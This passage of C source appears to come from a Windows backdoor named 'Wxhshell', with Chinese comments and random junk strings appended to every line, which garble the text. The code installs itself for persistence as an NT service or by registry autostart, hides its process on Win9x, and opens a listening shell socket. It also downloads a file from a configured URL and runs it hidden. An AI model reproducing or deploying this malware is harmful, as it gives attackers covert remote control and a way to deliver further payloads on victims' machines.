} PROCESS_BASIC_INFORMATION; \}~s2Y5j
?88`fJ@tk?
PROCNTQSIP NtQueryInformationProcess; 0<PR+Iv*i
}<z_Q_b+e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q %0Cg=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hky;CD~$
S!PzLTc
HANDLE hProcess; +dBz`WD
PROCESS_BASIC_INFORMATION pbi; '+
xu#R
[xh*"wT#g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8vuCc=
if(NULL == hInst ) return 0; $5L0.$Tj
,*]d~Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -k(CJ5H9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sz--27es
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); __[xD\ES
PyA&ZkX>
if (!NtQueryInformationProcess) return 0; ^1Xt]T`e
m=Q[\.Ra
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <*t4D-os
if(!hProcess) return 0; U!XS;a)
A:y.s;<L0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c}[+h5
M7>(hVEAW'
CloseHandle(hProcess); eZr&x~]
-w
=<@\,xN>C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UZEI:k,dv
if(hProcess==NULL) return 0; x f4{r+
$
n,Z
HMODULE hMod; <!pQ
char procName[255]; cst}Ibfi
unsigned long cbNeeded; 9s}Kl($
uY<
H#k
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); | 3+m%;X
83cW=?UgA
CloseHandle(hProcess); .D4bqL
xyH/e*a
if(strstr(procName,"services")) return 1; // 以服务启动 8F)G7
H,
577:u<Yt
return 0; // 注册表启动 NZN-^ >
} 'cNKjL;
ds[QwcV9-
// 主模块 NNG}M(/V
int StartWxhshell(LPSTR lpCmdLine) T@%m7 |P
{ e4I^!5)N
SOCKET wsl; O+=vEp(
BOOL val=TRUE; M=xQ=j?
int port=0; vG^#Sfgtw
struct sockaddr_in door; hF3&i=;.
j5Un1
if(wscfg.ws_autoins) Install(); >)_ojDO
)'
xETA
port=atoi(lpCmdLine); ?3Ij*}_O2
#Fu>|2F|
if(port<=0) port=wscfg.ws_port; s7r9,8$
;nmM7TZ;
WSADATA data; l{ex?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M }0eu(_|
M,3wmW&d6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w(1Gi$Z(Q)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p.fF}B
door.sin_family = AF_INET; ED$DSz)x
door.sin_addr.s_addr = inet_addr("127.0.0.1"); BIf^~jAER%
door.sin_port = htons(port); ?zq+jLyo
a;$P:C{gj?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }.)s%4p8
closesocket(wsl); O3n_N6| q
return 1; (#q<\`
} `\<37E\N}
,jy*1Hjd
if(listen(wsl,2) == INVALID_SOCKET) { }a&mY^
closesocket(wsl); R7~Yw*#,
return 1; 5&CDHc7Oj
} rZ_>`}O2
Wxhshell(wsl); VohhQ
WSACleanup(); 5)zn :$cz
lH|LdlX
return 0; [ neXFp}S
|m,VTViv;i
} ?p[O%_Xf
r^HAa GpC
// 以NT服务方式启动 &"uV~AM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w W$(r-
{ ovf/;Q/}
DWORD status = 0; ;]CVb`d
DWORD specificError = 0xfffffff; GR'Ti*Qi
r)1Z(tl
serviceStatus.dwServiceType = SERVICE_WIN32; 1xnLB>jP#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G>T')A
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tJ&5tNl
serviceStatus.dwWin32ExitCode = 0; A%Z)wz{
serviceStatus.dwServiceSpecificExitCode = 0; 7s'- +~
serviceStatus.dwCheckPoint = 0; $e\N+~KNCy
serviceStatus.dwWaitHint = 0; lS{r=y_0.
kvsA]tK.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v7trr W}
if (hServiceStatusHandle==0) return; AyE\fY5
&h$|j
status = GetLastError(); Y9 r3XhVI
if (status!=NO_ERROR) }bB`(B,m
{ )_jSG5k
serviceStatus.dwCurrentState = SERVICE_STOPPED; =Pe><k
serviceStatus.dwCheckPoint = 0; ED![^=
serviceStatus.dwWaitHint = 0; 6R}j-1
<n
serviceStatus.dwWin32ExitCode = status; a0Oe:]mo\
serviceStatus.dwServiceSpecificExitCode = specificError; -E&e1u,Mi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ul5|.C
return; !)Ni dG
} 5b#QYu
us)*2`?6t
serviceStatus.dwCurrentState = SERVICE_RUNNING; H5wb_yBQ+
serviceStatus.dwCheckPoint = 0; H!IDV}dn
serviceStatus.dwWaitHint = 0; %4>x!{jwV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~hN~>0O
} i6no;}j
nl/UdgI
// 处理NT服务事件,比如:启动、停止 "c`xH@D
VOID WINAPI NTServiceHandler(DWORD fdwControl) !ZtSbOC '
{ V*jsq[q=
switch(fdwControl) h.tY 'F
{ va{#RnU
case SERVICE_CONTROL_STOP: o96:4j4
serviceStatus.dwWin32ExitCode = 0; ?Z %:
serviceStatus.dwCurrentState = SERVICE_STOPPED; S;@ay/*~
serviceStatus.dwCheckPoint = 0; EU`T6M
serviceStatus.dwWaitHint = 0; {_ V0
{ S0@T0y#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LZ~`29qw(
} ~o15#Pfn/
return; T|'&K:[TJ
case SERVICE_CONTROL_PAUSE: b#Kq[}
serviceStatus.dwCurrentState = SERVICE_PAUSED; (wt+`_6
break; k{Lv37H
case SERVICE_CONTROL_CONTINUE: Wr|G:(kw\!
serviceStatus.dwCurrentState = SERVICE_RUNNING; W=-|`
break; y62%26 [
case SERVICE_CONTROL_INTERROGATE: KS>$`ax,
break; 2z2`
}; |w)5;uQ&\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2wh#$zGy
} X:q_c =X
o<VP'F{p
// 标准应用程序主函数 !Rw&DFU
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E'dX)J9e$/
{ 6* rcR]
)&1!xF
// 获取操作系统版本 delf
]
OsIsNt=GetOsVer(); r4knN
2:
GetModuleFileName(NULL,ExeFile,MAX_PATH); p!"(s/=
9R]](g#
// 从命令行安装 $iMC/Kym
if(strpbrk(lpCmdLine,"iI")) Install(); ku.A|+Tn
,ECAan/@
// 下载执行文件 .gD km^
if(wscfg.ws_downexe) { Enj_tJs
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .|]IwyD
&
WinExec(wscfg.ws_filenam,SW_HIDE); $B _Nc*_e
} SPwPCI1?
O*7i }\{
if(!OsIsNt) { 9D4-^M:a
// 如果时win9x,隐藏进程并且设置为注册表启动 !=zx
HideProc(); *6*-WV6
StartWxhshell(lpCmdLine); 79ZxqvB\
} c4] u&tvjJ
else 9Q[>.):
if(StartFromService()) kojG-M
// 以服务方式启动 xh'^c^1
StartServiceCtrlDispatcher(DispatchTable); #( uj$[o
else ePA;:8)_j
// 普通方式启动 G(OFr2M
StartWxhshell(lpCmdLine); z\Ui8jo:;
Ml`vx
return 0; i>GdRG&q
}